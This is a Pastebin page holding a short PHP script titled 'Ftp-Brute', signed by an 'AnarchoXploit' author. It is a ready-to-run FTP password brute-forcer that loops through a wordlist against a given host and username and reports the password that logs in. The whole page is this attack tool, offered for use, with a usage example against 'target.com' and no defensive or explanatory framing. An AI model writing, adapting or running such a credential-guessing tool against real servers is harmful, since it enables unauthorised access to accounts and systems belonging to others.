Advertisement
VanGans

Ftp-Brute

Feb 10th, 2019
282
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.16 KB | None | 0 0
  1. <?php
  2. // Coded By VanGans //
  3. // Copyright ©2019 - VanGans
  4. error_reporting(0);
  5. if(!empty($argv[1]) && !empty($argv[2]) && !empty($argv[3])) {
  6. $host=$argv[1];
  7. $port=$argv[2];
  8. $user=$argv[3];
  9. $list=file_get_contents($argv[4]);
  10. $pass=explode("\n", $list);
  11. echo "\n";
  12. echo "###################################\n";
  13. echo "#                                 #\n";
  14. echo "# Coded By VanGans- AnarchoXploit #\n";
  15. echo "#                                 #\n";
  16. echo "###################################\n";
  17. echo "\nHost => $host";
  18. echo "\nPort => $port";
  19. echo "\nUsername => $user";
  20. echo "\nWordlist => $argv[4]\n";
  21. echo "\nAttempt : \n\n";
  22. foreach($pass as $pw) {
  23. if(!empty($pw)) {
  24. $ftp = ftp_connect($host,$port,1);
  25. if(ftp_login($ftp,  $user,  $pw)) {
  26. $res = "Username : $user | Password : $pw => True\n";
  27. ftp_close($ftp);
  28. break;
  29. } else {
  30.   echo "Password : $pw => False\n";
  31.   ftp_close($ftp);
  32. }
  33. } else {
  34.   continue;
  35. }
  36. }
  37. } else {
  38.   echo "\nphp $argv[0] target.com 21 username listpassword.txt\n
  39.  ";
  40.   ftp_close($ftp);
  41. }
  42. echo "\nResult : \n\n";
  43. if(!empty($res)) {
  44. echo "$res";
  45. } else {
  46.   echo "Not Find :(\n";
  47. }
  48. echo "\n";
  49. //----------------------//
  50. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement